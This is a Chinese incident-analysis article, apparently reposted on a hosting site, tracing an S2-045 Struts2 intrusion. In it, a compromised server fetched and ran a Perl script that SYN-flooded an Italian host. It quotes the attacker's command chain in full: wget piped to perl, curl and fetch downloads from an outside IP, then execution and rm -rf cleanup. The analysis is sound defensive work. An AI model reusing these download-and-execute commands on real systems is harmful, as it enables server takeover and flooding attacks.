从数据包视角解析新型Struts2漏洞攻击全过程

万年漏洞王 Struts2作为世界上最流行的 Java Web 服务器框架之一,已经被炒得沸沸扬扬,其原因是由于 Apache Struts2 的 Jakarta Multipart parser 插件存在远程代码执行漏洞,攻击者可以在使用该插件上传文件时,修改 HTTP 请求头中的 Content-Type 值来触发该漏洞,导致远程执行代码。

[[185562]]

新的漏洞出现,必然会存在漏洞利用的情况,如果在没有升级和打补丁的情况下已被攻击,即使漏洞得到修复仍有潜在风险,那么如何判断是否已经被攻击了呢?本文通过数据包视角,基于网络回溯分析技术,针对最近新型Struts2漏洞攻击行为典型事件进行深层解析,打破传统思维模式,提供解决未知问题的新思路。

1. 问题描述

科来针对本次struts2漏洞为用户进行网络安全分析服务,在与某中国500强企业集团公司安全运维人员沟通时了解到该企业互联网出口防火墙CPU利用率持续保持在80%左右,而且涌现出关于内部服务器*.35大量告警日志,防火墙高负载工作导致服务器网络缓慢。由于该服务器上承载着大量公司核心业务,造成了严重影响。

通过在该集团公司内网的核心交换机上的网络回溯分析系,进行7*24小时全流量监控(其工作模式可以简单理解为部署在大型网络环境中的“行车记录仪”),并通过该系统还原事件发生过程,回溯分析可疑流量数据。

2. 分析过程

防火墙高负载与*.35服务器有关,所以重点回溯分析*.35地址。问题服务器*.35一天多的时间共产生未知TCP应用流量47.48G,其中与意大利IP 62.149.175.81通讯流量达到44.21GB,行为极为可疑。

回溯分析*.35与意大利IP会话通讯。两者之间通讯流量平稳(达6Mbps左右),任取一段时间,可以看到*.35与62.149.175.81:8080每条TCP会话客户端数据包数、服务器数据包数一致,状态均显示连接被重置,平均包长71字节,综合这些特征,怀疑*.35发动SYN Flood攻击。

如下,*.35 向62.149.175.81发送SYN,后者快速回复RST的数据包,时间差不足1ms,推测为出口防火墙阻断保护(因为后者位于意大利,所以后者真是返回RST数据包时间差应大于50ms),*.35发出的SYN数量极多同时频率极高现象,基本断定*.35发动了SYN Flood攻击。

小结:由于*.35发动了SYN Flood攻击,极高频率地发送了大量的SYN包,防火墙对每个SYN包都需要进行处理,严重消耗了出口防火墙性能,影响了正常业务通讯。

为了更深入找到*.35发动SYN Flood的原因,提取了该服务器发动攻击前的流量深入分析。

香港IP 223.255.145.158尝试利用Struts2漏洞攻击(在Content-type: 中插入非法字符串来远程执行命令并尝试执行该脚本,执行完成后删除),执行的脚本信息为:

  • wget -qO – http://65.254.63.20/.jb | perl ;
  • cd /tmp ;
  • curl -O http://65.254.63.20/.jb ;
  • fetch http://65.254.63.20/.jb ;
  • perl .jb ;
  • rm -rf .jb*,即问题服务器向65.254.63.20 get请求.jb文件。

进一步分析,我们发现问题服务器*.35确实下载获取到.jb文件。真实脚本为per1,可以看到62.149.175.81(SYN Flood目标IP)及端口8080。综合上文分析,基本上可以判定被黑客(所用IP 223.255.145.158)通过Struts2漏洞攻击入侵后,执行命令向美国IP 65.254.63.20请求下载了.jb文件,并执行了per1脚本SYN Flood攻击62.149.175.81.

3. 分析结论

通过以上分析,我们发现本次安全事件是黑客通过Struts2的S2-045漏洞,远程向问题服务器执行恶意代码,导致服务器主动下载脚本并成为肉鸡实施SYN Flood攻击,科来立即告知该企业相关工作人员并建议尽快修复其漏洞。

4. 价值

该漏洞影响范围极广,涉及Struts 2.3.5 – Struts 2.3.31, Struts 2.5 – Struts 2.5.10多个版本。黑客可以利用该漏洞通过浏览器在远程服务器上执行任意系统命令,将会对受影响站点造成严重影响,引发数据泄露、网页篡改、植入后门、成为肉鸡等安全事件。可将版本更新至Struts 2.3.32 或者 Struts 2.5.10.1。

本案例中,我们通过全流量分析判定了入侵者对网络及服务器的攻击行为,帮助用户发现网络中存在的安全隐患,掌握黑客攻击的手段,进而快速采取相应的防范措施。

当今企业级客户的业务系统日趋复杂,同时运行实时性要求越来越高,有效提升用户的运维主动性和分析处理问题效率已迫在眉睫。通过网络回溯分析技术可以完整记录网络原始流量,提升对异常网络行为的运行态势感知能力。

【本文是专栏作者“”李少鹏“”的原创文章,转载请通过安全牛(微信公众号id:gooann-sectv)获取授权】

戳这里,看该作者更多好文

文章来源网络,作者:管理,如若转载,请注明出处:https://shuyeidc.com/wp/134459.html<

(0)
管理的头像管理
上一篇2025-03-01 04:12
下一篇 2025-03-01 04:13

相关推荐

  • 骨干网络体系结构能干什么?骨干网络体系结构的作用

    骨干网络体系结构是现代信息社会的“超级高速公路网”,它通过分层设计、冗余备份和智能调度,确保海量数据在全球范围内高速、稳定、安全地传输,是支撑云计算、物联网及人工智能应用的底层基石,想象一下,如果你把互联网比作一个巨大的城市交通系统,那么骨干网络就是连接各个城市的主干道和立交桥,没有它,你的每一次微信发送、每一……

    2026-06-18
    0
  • 高io数据库可以干什么用?高io数据库适合什么场景

    高IO数据库的核心价值在于通过极高的读写吞吐量,解决海量数据场景下的性能瓶颈,是支撑高并发交易、实时分析及大规模内容分发的关键基础设施,在数字化转型的深水区,数据不再仅仅是静态的记录,而是流动的资产,传统的机械硬盘或普通SSD早已无法满足现代应用对速度的极致追求,高IO(Input/Output)数据库,就是那……

    2026-06-18
    0
  • 高io服务器性能如何?高io服务器适合什么场景

    高IO服务器并非单纯指代某种硬件,而是指在随机读写、高并发连接及小文件处理场景下,具备极致IOPS(每秒输入输出操作次数)和低延迟特性的计算资源,它是支撑现代高并发应用稳定运行的核心基石,在2026年的数字化浪潮中,业务负载早已从简单的静态页面展示演变为复杂的实时数据处理,许多开发者在排查系统瓶颈时,往往忽略了……

    2026-06-18
    0
  • 隔离网络空间哪里便宜?国内隔离网络空间价格

    隔离网络空间并没有统一的“便宜”标准,其成本高度取决于物理隔离等级、带宽需求及安全合规要求,通常物理网闸方案初期投入较高但长期运维成本低,而逻辑隔离方案虽初期便宜但存在潜在安全风险,建议根据业务敏感度选择混合隔离架构以平衡成本与安全,在数字化时代,企业构建独立网络环境的需求日益增长,但“隔离网络空间哪里便宜”这……

    2026-06-18
    0
  • 骨干网络体系结构设备为何故障?常见原因有哪些

    骨干网络体系结构设备故障的核心原因通常归结为硬件老化、配置错误、物理链路中断及外部攻击四大类,其中电源模块失效与光模块性能衰减是占比最高的隐性故障源,骨干网作为数字经济的“大动脉”,其稳定性直接关乎国计民生,当核心路由器或交换机出现丢包、震荡甚至宕机时,运维人员往往面临巨大的压力,很多人第一反应是检查软件配置……

    2026-06-18
    0

发表回复

您的邮箱地址不会被公开。必填项已用 * 标注